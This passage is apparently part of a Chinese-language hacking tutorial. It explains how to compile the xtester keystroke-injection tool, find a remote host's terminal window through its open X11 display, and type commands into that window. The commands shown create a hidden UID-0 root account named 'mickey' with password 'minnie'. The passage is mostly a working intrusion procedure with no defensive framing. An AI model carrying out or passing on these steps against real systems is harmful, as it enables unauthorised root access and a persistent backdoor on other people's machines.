编译 Xtester.c 的时候,程序作者并没有把 C 文件的相关头文件包含进代码中 ,所以需要我们手动添加下,如图 6:
图 6
xtester 的编译命令如下:
gcc xtester.c-o xtester -lXtst -lX11 -L/usr/X11R6/lib
使用 Xtester 前,需要知道终端命令行窗口的十六进制的 ID 值,可以使用 Linux 系统自带的 xwininfo 得到。
命令如下:
xwininfo -tree -root -display 192.168.0.144 |grep -i konsole
通过 grep 过滤出目标主机的终端命令行(konsole)窗口的 ID 值为 0x1e00008,就可以使用 Xtester 来发送我们的击键到这个窗口了。命令如下:
./xtester 0x1e00008 192.168.0.144:0
输入完上述命令后,会弹出一个小窗口,此时就可以输入添加管理员的命令了,现在的输入是没有回显的,所以要仔细输入。我的经验是输入每次命令前和命令后多按几次回车,可以增加成功率。Linux 下添加系统管理员的命令如下:
useradd -g 0 -u 0 -o mickey
echo mickey:minnie |chpasswd
这两条命令的意思为:添加一个具有 root 权限的用户名为 mickey,密码为 minnie 的系统帐号。效果如图 7:
图 7